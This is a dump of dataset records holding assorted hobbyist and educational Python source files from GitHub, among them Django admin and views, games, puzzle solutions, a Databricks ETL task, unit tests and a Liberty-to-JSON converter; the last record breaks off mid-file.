_versioned_field_sets\n limit_qs_to_request_user = True\n\n_url_fields = (\n (\"address\",),)\n\n\nclass UrlAdmin(VersionedModelAdmin):\n \"\"\"\n Url model admin class\n \"\"\"\n form = forms.UrlAdminForm\n list_display = (\"id\", \"address\",\n \"version\", \"update_time\", \"update_user\")\n list_display_links = (\"id\", \"address\",)\n\n fieldsets = (\n (\"Url\",\n {\"fields\": _url_fields}),\n ) + _versioned_field_sets\n limit_qs_to_request_user = True\n\n_named_classes = (\n models.EmailType, models.Group,\n models.LogoType, models.InstantMessagingType,\n models.NicknameType, models.PhoneType,\n models.PhotoType, models.UrlType)\n\nfor clasz in _named_classes:\n admin_site_register(\n clasz,\n (NamedModelAdmin,),\n named_model_admin_class_attrs(class_name(clasz)))\n\n_other_model_classes = (\n models.Email, models.FormattedName,\n models.InstantMessaging, models.Name,\n models.Nickname, models.Phone, models.Url)\n_other_admin_classes = (\n EmailAdmin, FormattedNameAdmin,\n InstantMessagingAdmin, NameAdmin,\n NicknameAdmin, PhoneAdmin, UrlAdmin)\n\nfor model_class, admin_class in zip(_other_model_classes,\n _other_admin_classes):\n admin.site.register(model_class, admin_class)\n","repo_name":"ajaniv/django-core-models","sub_path":"django_core_models/social_media/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":4664,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"7322109176","text":"from django.shortcuts import render\nfrom django.http import HttpResponse\n\nfrom blog.models import Category, Post\n\ndef home(request):\n name = \"Rafael\"\n #categories = ['PHP', 'Java', 'Ruby']\n\n #for category in categories:\n # Category.objects.create(name=category)\n\n all_categories = Category.objects.all()\n\n category_post = Category.objects.get(name='Ruby')\n posts = Post.objects.filter(status='Published')\n\n '''\n post = Post()\n post.name = 'Show post 2'\n post.content = 'Content'\n post.status = 'Published'\n post.category = category_post\n post.save()\n '''\n\n #post = Post.objects.get(pk=1)\n\n context = {\n 'name': name,\n 'categories': all_categories,\n 'posts': posts,\n }\n\n return render(request, 'blog/home.html', context)\n\ndef show_posts_by_category(request, category_id):\n name = \"Rafael\"\n all_categories = Category.objects.all()\n category = Category.objects.get(pk=category_id)\n posts = Post.objects.filter(category=category, status='Published')\n\n context = {\n 'name': name,\n 'categories': all_categories,\n 'category': category,\n 'posts': posts,\n }\n\n return render(request, 'blog/home.html', context)\n\n\n\n\n\n","repo_name":"rsantos/django_project","sub_path":"blog/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1256,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"37363741526","text":"import uuid\nfrom datetime import datetime\nfrom dataclasses import dataclass\nfrom dataclasses_json import dataclass_json, LetterCase\n\n@dataclass_json(letter_case=LetterCase.CAMEL)\n@dataclass\nclass Roadmap:\n id: str\n author_username: str\n title: str\n description: str\n coordinates: list[list[float, float]]\n tags: list[str]\n created_date: datetime\n likes: int\n dislikes: int\n\ndef roadmap_factory(\n author_username: str, \n title: str, description: str, \n coordinates: list[list[float, float]], \n tags: list[str], \n created: datetime = None, \n likes: int = 0,\n dislikes: int = 0\n ) -> Roadmap:\n\n created_date = created or datetime.now()\n return Roadmap(\n id=str(uuid.uuid4()),\n author_username=author_username,\n title=title,\n description=description,\n coordinates=coordinates,\n tags=tags,\n created_date=created_date,\n likes=likes,\n dislikes=dislikes\n )\n","repo_name":"guilhermebezerrads/eventyse","sub_path":"api/domain/models/Roadmap.py","file_name":"Roadmap.py","file_ext":"py","file_size_in_byte":1000,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"71"} +{"seq_id":"39711490137","text":"from math import prod\nfrom re import findall\nfrom collections import defaultdict\nfrom pythonfw.functions import extract_chunks\n\n\ndef preprocessing(input_): \n return extract_chunks(input_, 5)\n\n\ndef solver(ingredients):\n frosting, candy, butterscotch, sugar = ingredients\n butterscotch = {i: [i * item for item in butterscotch] for i in range(101)}\n candy = {i: [i * item for item in candy] for i in range(101)}\n frosting = {i: [i * item for item in frosting] for i in range(101)}\n sugar = {i: [i * item for item in sugar] for i in range(101)}\n scores = defaultdict(list)\n \n for i in range(100):\n f = frosting[i]\n for j in range(100 - i):\n b = butterscotch[j]\n for k in range(100 - (i + j)):\n c = candy[k]\n s = sugar[100 - (i + j + k)]\n score = prod(max(0, sum([v[index] for v in [f, b, c, s]])) for index in range(4))\n scores[sum(v[4] for v in [f, b, c, s])].append(score)\n\n yield max(sum(scores.values(), []))\n yield max(scores[500])","repo_name":"baptistecottier/advents-of-code","sub_path":"2015/15/15.py","file_name":"15.py","file_ext":"py","file_size_in_byte":1161,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"71"} +{"seq_id":"1572554471","text":"#!/usr/bin/python3\n\"\"\" has a function that adds two integers\"\"\"\n\n\ndef add_integer(a, b=98):\n \"\"\"\n adds two integers\n\n Args:\n -a (int or float): the first number\n -b (int or float): the seconde number\n \"\"\"\n if not isinstance(a, int):\n if isinstance(a, float):\n a = int(a)\n else:\n raise TypeError(\"a must be an integer\")\n if not isinstance(b, int):\n if isinstance(b, float):\n b = int(b)\n else:\n raise TypeError(\"b must be an integer\")\n return a + b\n","repo_name":"Y4h14/alx-higher_level_programming","sub_path":"0x07-python-test_driven_development/0-add_integer.py","file_name":"0-add_integer.py","file_ext":"py","file_size_in_byte":554,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"72321944549","text":"# web scraping\n\nfrom bs4 import BeautifulSoup # virtual environment\nimport time\nimport csv\nimport requests # allows to request acces to info from website\n\nSTART_URL = \"https://en.wikipedia.org/wiki/List_of_brightest_stars_and_other_record_stars\"\nget_link = requests.get(START_URL)\ntime.sleep(10)\n\nheaders = [\"name\", \"distance\", \"mass\", \"radius\"]\nplanet_data = []\n\ndef scrape(): #planet_data contains planet NUMBER data (ex: weight of planet)\n for i in range(0, 100): \n soup = BeautifulSoup(get_link.text, \"html.parser\") #creating virtual environment \n temp_list = []\n for tr_tag in soup.find_all(\"tr\"): #soup finds all \"tr\" as tr_tags\n td_tags = tr_tag.find_all(\"td\") #tr_tag finds all \"td\" as td_tags \n for td_tags in td_tags: #tr is table row, td is table data\n try:\n temp_list.append(td_tag.find_all(\"div\",attrs={\"class\":\"value\"})[0].contents[0]) #appends all td_tags with \"value\" class (only first address)\n except: #exception for try\n temp_list.append(\"\")\n planet_data.append(temp_list)\n with open(\"scrapper_2.csv\", \"w\") as f: #writing info into scraper_2.csv\n csvwriter = csv.writer(f)\n csvwriter.writerow(headers)\n csvwriter.writerows(planet_data)\n\nscrape()\n\n\n","repo_name":"ChandanaD1/webscraping","sub_path":"hw31.py","file_name":"hw31.py","file_ext":"py","file_size_in_byte":1312,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"36067153460","text":"from operator import itemgetter\nfrom collections import defaultdict\n\ndef freeform(string):\n ranks = defaultdict(float)\n searchfuncs = [(phonetic, 0.3),\n (levenshtein, 0.15),\n (trigrams, 0.55)]\n for searchfunc, coef in searchfuncs:\n for match, rank in searchfunc(string):\n ranks[match] += rank * coef\n return max(ranks.iteritems(), key=itemgetter(1))\n","repo_name":"mishok13/ep2011","sub_path":"geocoding-freeform.py","file_name":"geocoding-freeform.py","file_ext":"py","file_size_in_byte":416,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"71"} +{"seq_id":"71614178151","text":"import random\n\n\ndef newdeck():\n numbers = [('2', 2), ('3', 3), ('4', 4), ('5', 5), ('6', 6), ('7', 7), ('8', 8), ('9', 9), ('10', 10), ('Jack', 10),\n ('Queen', 10), ('King', 10), ('Ace', 0)]\n classes = ['of Spades', 'of Hearts', 'of Clubs', 'of Diamonds']\n return [(i[0] + ' ' + j, i[1]) for i in numbers for j in classes]\n\n\ndef replay():\n while True:\n print('Do you want to play again? (y/n)')\n n = input()\n if n == 'y' or n == 'n':\n return n == 'y'\n else:\n print('Please input \"y\" or \"n\"')\n\n\ndef dealplayercard(ls, playerval):\n if len(ls) == 0:\n print('There are no more cards in the deck')\n else:\n card = random.choice(ls)\n deck.remove(card)\n print('Player has been delt a', card[0], )\n if card[1] == 0:\n while True:\n print('Should the Ace be counted as \"1\" or \"11\"?')\n acechoice = input()\n if acechoice == '1':\n playerval = playerval + 1\n break\n elif acechoice == '11':\n playerval = playerval + 11\n break\n else:\n print('Please input \"1\" or \"11\"')\n playerval = playerval + card[1]\n print('Player:', playerval)\n return ls, playerval\n\n\ndef dealdealercard(ls, dealerval, dealercard):\n if len(ls) == 0:\n print('There are no more cards in the deck')\n else:\n card = random.choice(ls)\n deck.remove(card)\n dealercard = card[0]\n print('Dealer has been delt a card face-down')\n if card[1] == 0:\n if dealerval + 11 > 21:\n dealerval = dealerval + 1\n else:\n dealerval = dealerval + 11\n else:\n dealerval = dealerval + card[1]\n return ls, dealerval, dealercard\n\n\ndef dealdealercardup(ls, dealerval, dealercard2):\n if len(ls) == 0:\n print('There are no more cards in the deck')\n else:\n card = random.choice(ls)\n deck.remove(card)\n print('Dealer has been delt a', card[0])\n dealercard2 = card[0]\n if card[1] == 0:\n if dealerval + 11 > 21:\n dealerval = dealerval + 1\n print('Dealer counts the Ace as \"1\"')\n else:\n dealerval = dealerval + 11\n print('Dealer counts the Ace as \"11\"')\n else:\n dealerval = dealerval + card[1]\n return ls, dealerval, dealercard2\n\n\ndef playerhit(playerval, dealerval, ls, dealercard1, dealercard2, dealervalvis):\n while True:\n print('The Dealer has a', dealercard2, 'and a face-down card in their hand(', dealervalvis, ')')\n print('Current player hand:', playerval)\n print('Do you want to hit? (y/n)')\n a = input()\n print('|-----------------------------------------------------------------------------------------------------|')\n\n if a == 'y' or a == 'n':\n if a == 'n':\n print('Dealer turns their first card up. It´s a', dealercard1)\n ls, dealerval = dealer17(ls, dealerval)\n if dealerval > 21:\n playerval = checkbust('Dealer', dealerval)\n return ls, playerval\n else:\n playerval = compare(playerval, dealerval)\n return ls, playerval\n else:\n ls, playerval = dealplayercard(deck, playerval)\n else:\n print('Please input \"y\" or \"n\"')\n\n return ls, playerval\n\n\ndef dealer17(ls, dealerval):\n while True:\n if dealerval < 17:\n ls, dealerval, x = dealdealercardup(ls, dealerval, 0)\n\n else:\n return ls, dealerval\n\n\ndef check21(n):\n print(n, 'has exactly 21 points, and has therefore won. Game over')\n return 'gameover'\n\n\ndef checkbust(n, val):\n print(n, 'has gone bust.(', val, ') Game over')\n return 'gameover'\n\n\ndef winner(playerval, dealerval, n):\n print(n, 'has a higher hand, and therefore wins(', playerval, 'vs', dealerval, '). Game over')\n\n\ndef tie(playerval):\n print('Player and dealer tied.(', playerval, ') Game over')\n\n\ndef compare(playerval, dealerval):\n if playerval > dealerval:\n winner(playerval, dealerval, 'Player')\n elif playerval < dealerval:\n winner(playerval, dealerval, 'Dealer')\n else:\n tie(playerval)\n return 'gameover'\n\n\ndef initial21(playerval):\n if playerval == 21:\n check21('Player')\n return True\n\n\nwhile True:\n print('The game begins')\n print('The deck is shuffled')\n\n deck = newdeck()\n playervalue = 0\n dealervalue = 0\n dealerfirstcard = None\n dealersecondcard = None\n\n deck, playervalue = dealplayercard(deck, playervalue)\n deck, dealervalue, dealerfirstcard = dealdealercard(deck, dealervalue, dealerfirstcard)\n dealervalue1 = dealervalue\n\n deck, playervalue = dealplayercard(deck, playervalue)\n\n deck, dealervalue, dealersecondcard = dealdealercardup(deck, dealervalue, dealersecondcard)\n visdealval = dealervalue - dealervalue1\n\n if not initial21(playervalue):\n while True:\n deck, playervalue = playerhit(playervalue, dealervalue, deck, dealerfirstcard, dealersecondcard, visdealval)\n\n if playervalue == 'gameover':\n break\n\n if playervalue == 21:\n check21('Player')\n break\n\n elif playervalue > 21:\n checkbust('Player', playervalue)\n break\n\n if not replay():\n break\n","repo_name":"Impolex/Python_Blackjack","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5616,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"9056207011","text":"from turtle import Turtle\n\nDISTANCE = 20\n\n\nclass Snake:\n\n def __init__(self):\n self.segment = Turtle(\"square\")\n self.segment.color(\"white\")\n self.segment.penup()\n self.snake_body = [self.segment]\n self.grow_body()\n self.grow_body()\n self.grow_body()\n # self.grow_body()\n # self.grow_body()\n # self.grow_body()\n # self.grow_body()\n self.snake_head = self.snake_body[0]\n\n def grow_body(self):\n self.snake_body.append(Turtle(\"square\"))\n last_segment = self.snake_body[-1]\n last_segment.color(\"white\")\n last_segment.penup()\n previous_segment = self.snake_body[-2]\n last_segment.setposition(previous_segment.position()[0] - 20, previous_segment.position()[1])\n\n def snake_move(self):\n\n for i in range(len(self.snake_body) - 1, 0, -1):\n last_segment = self.snake_body[i]\n previous_segment = self.snake_body[i - 1]\n last_segment.setposition(previous_segment.xcor(), previous_segment.ycor())\n # screen.update()\n self.snake_head.forward(DISTANCE)\n\n def turn_up(self):\n if self.snake_head.heading() != 90 * 3:\n self.snake_head.setheading(90 * 1)\n\n def turn_down(self):\n if self.snake_head.heading() != 90 * 1:\n self.snake_head.setheading(90 * 3)\n\n def turn_left(self):\n if self.snake_head.heading() != 0:\n self.snake_head.setheading(90 * 2)\n\n def turn_right(self):\n if self.snake_head.heading() != 90 * 2:\n self.snake_head.setheading(90 * 0)\n\n def reset_snake(self):\n for segment in self.snake_body:\n segment.hideturtle()\n self.snake_body.clear()\n self.snake_body = [self.segment]\n # self.grow_body()\n # self.grow_body()\n # self.grow_body()\n self.snake_head = self.snake_body[0]\n self.snake_head.showturtle()\n self.snake_head.goto(0, 0)\n self.grow_body()\n self.grow_body()\n\n","repo_name":"yaitsmethiyagu/snake_game","sub_path":"snake.py","file_name":"snake.py","file_ext":"py","file_size_in_byte":2032,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"8084985293","text":"# https://leetcode.com/problems/reformat-the-string/\n\nimport string\nimport itertools \n\nclass Solution:\n def reformat(self, s: str) -> str:\n digits = []\n letters = []\n for i in s:\n if i in string.digits:\n digits.append(i)\n else:\n letters.append(i)\n if abs(len(digits) - len(letters)) > 1:\n return \"\"\n else:\n if len(digits) >= len(letters):\n a, b = digits, letters\n else:\n a, b = letters, digits\n result = ''\n for x, y in itertools.zip_longest(a, b):\n if x != None:\n result += x \n if y != None:\n result += y \n return result\n\n\nprint(Solution().reformat(\"covid2019\"))\nprint(Solution().reformat(\"ab123\"))\n \n\n\n \n\n","repo_name":"lilaboc/leetcode","sub_path":"1417.py","file_name":"1417.py","file_ext":"py","file_size_in_byte":883,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"32492022229","text":"from databricks_poc_template.common import Task\nfrom databricks_poc_template import module\nimport numpy as np\nimport pandas as pd\nimport random\nimport uuid\nfrom sklearn.datasets import load_iris\nfrom sklearn.preprocessing import MinMaxScaler\nfrom pyspark.sql.functions import *\n\n\nclass ETL1DataGenerationTask(Task):\n def _generate_data(self):\n # ===========================\n # 0. Reading the config files\n # ===========================\n\n # Output\n db = self.conf[\"output\"].get(\"database\", \"default\")\n raw_data_table = self.conf[\"output\"][\"raw_data_table\"]\n label_table = self.conf[\"output\"][\"label_table\"]\n\n # ===============================\n # 1. Creation of a new data batch\n # =============================== \n\n # Initialize the dataframe\n iris = load_iris()\n iris_generated_all = pd.DataFrame(columns=iris.feature_names)\n\n # Generate 50 sample randomly out of each target class\n for target_class in [0, 1, 2]:\n iris_generated = module.iris_data_generator(\n target_class=str(target_class), \n n_samples=50\n ) \n iris_generated_all = pd.concat(\n [iris_generated_all, iris_generated], axis=0, ignore_index=True\n )\n\n data_batch = spark.createDataFrame(iris_generated_all)\n data_batch = data_batch.withColumnRenamed(\"sepal length (cm)\", \"sepal_length\")\n data_batch = data_batch.withColumnRenamed(\"sepal width (cm)\", \"sepal_width\")\n data_batch = data_batch.withColumnRenamed(\"petal length (cm)\", \"petal_length\")\n data_batch = data_batch.withColumnRenamed(\"petal width (cm)\", \"petal_width\")\n\n # data_batch = data_batch.withColumn('Id', monotonically_increasing_id())\n # data_batch = data_batch.withColumn('month',lit('202203'))\n data_batch = data_batch.withColumn(\"date\", current_date())\n data_batch = data_batch.withColumn(\"hour\", hour(current_timestamp()))\n # data_batch = data_batch.withColumn(\"timestamp\",lit(current_timestamp()))\n # data_batch = data_batch.withColumn(\"unix_ts\",lit(unix_timestamp('timestamp')))\n\n data_batch = data_batch.withColumn(\"Id\", expr(\"uuid()\"))\n\n raw_data_batch = data_batch.drop(\"target\")\n label_batch = data_batch.select(\"Id\", \"date\", \"hour\", \"target\")\n display(raw_data_batch)\n display(label_batch)\n\n # %sql\n # CREATE SCHEMA IF NOT EXISTS iris_data;\n\n # %sql\n # DROP TABLE iris_data.raw_data;\n # DROP TABLE iris_data.labels;\n\n # ====================================================\n # 2. Write the data batch to a Table in Hive Metastore\n # ==================================================== \n self.logger.info(f\"Writing data batch to {db}.{table}\")\n raw_data_batch.write.format(\"delta\").mode(\"append\").option(\"overwriteSchema\", \"true\").saveAsTable(f\"{db}.{raw_data_table}\")\n label_batch.write.format(\"delta\").mode(\"append\").option(\"overwriteSchema\", \"true\").saveAsTable(f\"{db}.{label_table}\")\n self.logger.info(\"Dataset successfully written\")\n\n def launch(self):\n self.logger.info(\"Launching ETL 1: Data Generation task\")\n self._generate_data()\n self.logger.info(\"ETL 1: Data Generation task finished!\")\n\n# if you're using python_wheel_task, you'll need the entrypoint function to be used in setup.py\ndef entrypoint(): # pragma: no cover\n task = ETL1DataGenerationTask()\n task.launch()\n\n# if you're using spark_python_task, you'll need the __main__ block to start the code execution\nif __name__ == '__main__':\n entrypoint()\n","repo_name":"pdemeulenaer/databricks-poc-template","sub_path":"databricks_poc_template/tasks/etl_1_data_generation.py","file_name":"etl_1_data_generation.py","file_ext":"py","file_size_in_byte":3698,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"71"} +{"seq_id":"1369319407","text":"import unittest\nimport time\nimport rtp\nfrom recorder import *\nfrom it_exceptions import *\n\nclass RecorderTests(unittest.TestCase):\n def no_side_effects(self):\n # say that self.r.dump_file \"exists\"\n self.r.file_exists = lambda f : True\n self.r.rtpplay.file_exists = lambda f : True\n self._write_commit_file = lambda a, b : None\n\n def setUp(self):\n self.r = Recorder()\n self.r.rtpplay = rtp.RTPPlayEmulator()\n self.r.rtpdump = rtp.RTPDumpEmulator()\n \n def tearDown(self):\n pass\n \n def testGetStatusInitial(self):\n commit_time, elapsed_time, is_recording = self.r.get_status()\n assert commit_time is None\n assert elapsed_time is None\n assert not is_recording\n \n def testStartRecord(self):\n self.r.start_record()\n commit_time, elapsed_time, is_recording = self.r.get_status()\n assert commit_time is None\n assert elapsed_time is not None\n assert is_recording\n\n def testStartRecordStartRecord(self):\n self.r.start_record()\n self.assertRaises(ProcessAlreadyRunningError, self.r.start_record)\n\n def testStopRecordBeforeStart(self):\n self.r.stop_record()\n commit_time, elapsed_time, is_recording = self.r.get_status()\n assert commit_time is None\n assert elapsed_time is None\n assert not is_recording\n\n def testStopRecord(self):\n self.r.start_record()\n commit_time, elapsed_time, is_recording = self.r.get_status()\n assert commit_time is None\n assert elapsed_time is not None\n assert is_recording\n\n commit_time, elapsed_time, is_recording = self.r.stop_record()\n assert commit_time is None\n assert elapsed_time is not None\n assert not is_recording\n\n def testPlayPreviewBeforeSetup(self):\n self.assertRaises(NoRecordedFileError, self.r.play_preview, 10)\n\n def testPlayPreview(self):\n self.r.start_record()\n self.assertRaises(FileNotFoundError, self.r.play_preview, 10)\n \n def testPlayPreview2(self):\n self.no_side_effects()\n\n self.r.start_record()\n\n commit_time, elapsed_time, is_recording = self.r.get_status()\n assert commit_time is None\n assert elapsed_time is not None\n assert is_recording\n\n self.r.play_preview(10)\n\n commit_time, elapsed_time, is_recording = self.r.get_status()\n assert commit_time is None\n assert elapsed_time is not None\n assert is_recording\n\n self.r.stop_record()\n\n commit_time, elapsed_time, is_recording = self.r.get_status()\n assert commit_time is None\n assert elapsed_time is None\n assert not is_recording\n\n def testCommitTimeWithoutStarting(self):\n self.no_side_effects()\n\n self.assertRaises(NoRecordedFileError, self.r.commit_time, 345)\n\n def testCommitTime(self):\n self.no_side_effects()\n\n self.r.start_record()\n\n commit_time, elapsed_time, is_recording = self.r.get_status()\n assert commit_time is None\n assert elapsed_time is not None\n assert is_recording\n\n self.r.commit_time(345)\n\n commit_time, elapsed_time, is_recording = self.r.get_status()\n assert commit_time == 345\n assert elapsed_time is not None\n assert is_recording\n\n self.r.commit_time(-39)\n\n commit_time, elapsed_time, is_recording = self.r.get_status()\n assert commit_time == -39\n\n self.r.commit_time(0)\n\n commit_time, elapsed_time, is_recording = self.r.get_status()\n assert commit_time == 0\n \nif __name__ == '__main__':\n suite = unittest.TestLoader().loadTestsFromTestCase(RecorderTests)\n unittest.TextTestRunner(verbosity=2).run(suite)\n","repo_name":"jasontbradshaw/iron-tools","sub_path":"test_recorder.py","file_name":"test_recorder.py","file_ext":"py","file_size_in_byte":3791,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"71"} +{"seq_id":"41275251610","text":"#!/usr/bin/env python3\n# -*- coding:utf-8 -*-\n# ################################### #\n# File: liberty2json.py #\n# Version: 1.0.0 #\n# @author: Shiuan-Yun Ding #\n# @email: mirkat.ding@gmail.com #\n# @date created: 2023/1/2 #\n# @last modified by: Shiuan-Yun Ding #\n# @last modified date: 2023/1/9 #\n# ################################### #\n\nimport os\nimport glob\nimport json\n\n\nclass liberty2json():\n \"\"\"Convert Liberty library files to JSON files.\n \n Args:\n filepath (str) : Path to a single Liberty library file.\n dirpath (str) : Path to a directory containing Liberty library files.\n outdir (str) : Output directory for JSON files.\n tab (str) : Indentation string for JSON output.\n \"\"\"\n def __init__(self, filepath='', dirpath='', outdir='./out/', tab=' '):\n # create output directory if it does not exist\n if os.path.exists(outdir) == False:\n os.mkdir(outdir)\n\n self.filepath = filepath\n self.dirpath = dirpath\n self.outdir = outdir\n self.tab = tab\n self.lines = []\n\n if self.filepath != '':\n self.to_json(self.filepath)\n \n if self.dirpath != '':\n for filepath in glob.glob(self.dirpath + '/*.lib'):\n self.to_json(filepath)\n\n def set_outdir(self, outdir):\n \"\"\"Set output directory for JSON files.\n \n Args:\n outdir (str): Output directory for JSON files.\n \"\"\" \n self.outdir = outdir\n\n def to_json(self, libpath):\n \"\"\"Convert a single Liberty library file to JSON and write it to a file.\n \n Args:\n libpath (str): Path to the Liberty library file.\n \"\"\"\n # set outpath\n outpath = os.path.basename(libpath)\n outpath = outpath[:outpath.find('.')]\n outpath = self.outdir + '/' + outpath + '.json'\n\n # return if .json algready exists\n if os.path.exists(outpath):\n print(f'Already exists: {outpath}')\n return\n\n # parse .lib\n self.lines = self._parse(libpath)\n _, library_content, _, _ = self._parse_group(0)\n\n # write .json\n with open(outpath, 'w') as fout:\n fout.write(json.dumps(library_content, indent=self.tab))\n print(f'Finished writing: {outpath}')\n\n def _is_group(self, line):\n \"\"\"Check if the line indicates the start of a group.\n \n Args:\n line (str): Line from the Liberty library file.\n \n Returns:\n bool: True if the line indicates the start of a group, False otherwise.\n \"\"\"\n return line[-1] == '{'\n\n def _is_endgroup(self, line):\n \"\"\"Check if the line indicates the end of a group.\n \n Args:\n line (str): Line from the Liberty library file.\n \n Returns:\n bool: True if the line indicates the end of a group, False otherwise.\n \"\"\"\n return line[-1] == '}'\n\n def _is_attribute(self, line):\n \"\"\"Check if the line is an attribute statement.\n \n Args:\n line (str): Line from the Liberty library file.\n \n Returns:\n bool: True if the line is an attribute statement, False otherwise.\n \"\"\"\n return line[-1] == ';' and line.find('define') == -1\n\n def _is_define(self, line):\n \"\"\"Check if the line is a define statement.\n \n Args:\n line (str): Line from the Liberty library file.\n \n Returns:\n bool: True if the line is a define statement, False otherwise.\n \"\"\"\n return line[-1] == ';' and line.find('define') != -1\n\n def _parse_group(self, idx):\n \"\"\"Parse the lines in a group.\n \n Args:\n idx (int): Current line index.\n \n Returns:\n int : Next line index after the group.\n dict: Group content in the form of a dictionary.\n str : Group type.\n str : Group name.\n \n Raises:\n AssertionError: If the group has the wrong format.\n \"\"\"\n if self._is_group(self.lines[idx]) == False:\n raise AssertionError(f'Error: wrong format of group description of '\n f'{self.current_libpath} at line {idx}: {self.lines[idx]}')\n # initialize\n parent_content = {}\n \n # get group type/name\n parent_type = self.lines[idx]\n parent_type = parent_type[:parent_type.find('(')].strip()\n parent_name = self.lines[idx]\n parent_name = parent_name[parent_name.find('(') + 1:parent_name.rfind(')')]\n parent_name = parent_name.replace('\\\"', '')\n\n # set alias\n parent_content[parent_type] = {}\n parent_content[parent_type][parent_name] = {}\n content = parent_content[parent_type][parent_name]\n\n # get childgroups/attributes/defines\n idx += 1\n while True:\n if self._is_group(self.lines[idx]): # get subgroups\n idx, child_content, child_type, child_name = self._parse_group(idx)\n if child_name == \"\":\n if child_type in content.keys():\n content[child_type].append(child_content[child_type][child_name])\n else:\n content[child_type] = [child_content[child_type][child_name]]\n else:\n if child_type in content.keys():\n content[child_type][child_name] = child_content[child_type][child_name]\n else:\n content[child_type] = {}\n content[child_type][child_name] = child_content[child_type][child_name]\n elif self._is_attribute(self.lines[idx]): # get subattributes\n line = self.lines[idx]\n if line.find(':') != -1:\n attr_type = line[:line.find(':')].strip()\n attr_value = line[line.find(':') + 1:line.find(';')].strip()\n attr_value = attr_value.replace('\\\"', '')\n if attr_type in content.keys():\n raise AssertionError(f'Error: the attribute {attr_type} has already defined\\n')\n else:\n content[attr_type] = attr_value\n else:\n attr_type = line[:line.find('(')].strip()\n attr_value = line[line.find('(') + 1:line.find(')')].strip()\n attr_value = attr_value.replace('\\\"', '')\n if attr_type in content.keys():\n content[attr_type].append(attr_value)\n else:\n content[attr_type] = []\n content[attr_type].append(attr_value)\n elif self._is_define(self.lines[idx]): # ignore defines\n pass\n elif self._is_endgroup(self.lines[idx]):\n break\n else:\n raise AssertionError(f'Wrong format of {self.current_libpath} ' + \n f'at line {idx}: {self.lines[idx-1]}\\n{self.lines[idx]}')\n idx += 1\n\n # if only one element exist in a list, turn list into non-list\n for child_type in content.keys():\n if type(content[child_type]) is list:\n if len(content[child_type]) == 1 :\n content[child_type] = content[child_type][0]\n\n return idx, parent_content, parent_type, parent_name\n\n def _check_endofline(self, lines):\n \"\"\"Check if the end of line is either '{' or '}' or ';'.\n \n Args:\n line (str) : Line from the Liberty library file.\n idx (int) : Current line index.\n \n Returns:\n bool: True if the end of line is either '{' or '}' or ';', False otherwise.\n \n Raises:\n AssertionError: If the end of line is not '{' nor '}' nor ';'.\n \"\"\" \n for idx, line in enumerate(lines):\n if (self._is_group(line) or self._is_endgroup(line) or self._is_attribute(line) or self._is_define(line)) is False:\n raise AssertionError(f'Error: wrong format of {self.current_libpath} ' +\n f'at line {idx}: {line}')\n\n def _parse(self, filepath):\n \"\"\"Parse the lines in a Liberty library file, and remove the redundant characters.\n \n Args:\n libpath (str): Path to the Liberty library file.\n \n Returns:\n list: Lines from the Liberty library file.\n \"\"\" \n with open(filepath) as f:\n lines = f.read()\n\n # remove redundant characters\n lines = lines.replace('\\t', '')\n lines = lines.replace('\\\\\\n', '')\n \n # remove comment\n while lines.find('/*') != -1:\n lines = lines[:lines.find('/*')] + lines[lines.find('*/') + 2:]\n \n # split lines\n lines = lines.replace('{', '{\\n')\n lines = lines.splitlines()\n lines = [line.strip() for line in lines if len(line.strip()) > 0]\n \n # check format\n self._check_endofline(lines)\n return lines\n\n\nif __name__ == '__main__':\n # method 1\n lib2json = liberty2json(\n filepath='./test.lib',\n outdir='.'\n )\n # method 2\n lib2json = liberty2json()\n lib2json.set_outdir('.')\n lib2json.to_json('./test.lib')","repo_name":"mirkat1206/liberty2json-python","sub_path":"src/liberty2json.py","file_name":"liberty2json.py","file_ext":"py","file_size_in_byte":9632,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"71"} +{"seq_id":"20006064613","text":"'''\n\nBOJ 3190. 뱀\n\n 'Dummy' 라는 도스게임이 있다. 이 게임에는 뱀이 나와서 기어다니는데, 사과를 먹으면 뱀 길이가 늘어난다. 뱀이 이리저리 기어다니다가 벽 또는 자기자신의 몸과 부딪히면 게임이 끝난다.\n\n게임은 NxN 정사각 보드위에서 진행되고, 몇몇 칸에는 사과가 놓여져 있다. 보드의 상하좌우 끝에 벽이 있다. 게임이 시작할때 뱀은 맨위 맨좌측에 위치하고 뱀의 길이는 1 이다. 뱀은 처음에 오른쪽을 향한다.\n\n뱀은 매 초마다 이동을 하는데 다음과 같은 규칙을 따른다.\n\n먼저 뱀은 몸길이를 늘려 머리를 다음칸에 위치시킨다.\n만약 이동한 칸에 사과가 있다면, 그 칸에 있던 사과가 없어지고 꼬리는 움직이지 않는다.\n만약 이동한 칸에 사과가 없다면, 몸길이를 줄여서 꼬리가 위치한 칸을 비워준다. 즉, 몸길이는 변하지 않는다.\n사과의 위치와 뱀의 이동경로가 주어질 때 이 게임이 몇 초에 끝나는지 계산하라.\n\n첫째 줄에 보드의 크기 N이 주어진다. (2 ≤ N ≤ 100) 다음 줄에 사과의 개수 K가 주어진다. (0 ≤ K ≤ 100)\n\n다음 K개의 줄에는 사과의 위치가 주어지는데, 첫 번째 정수는 행, 두 번째 정수는 열 위치를 의미한다. 사과의 위치는 모두 다르며, 맨 위 맨 좌측 (1행 1열) 에는 사과가 없다.\n\n다음 줄에는 뱀의 방향 변환 횟수 L 이 주어진다. (1 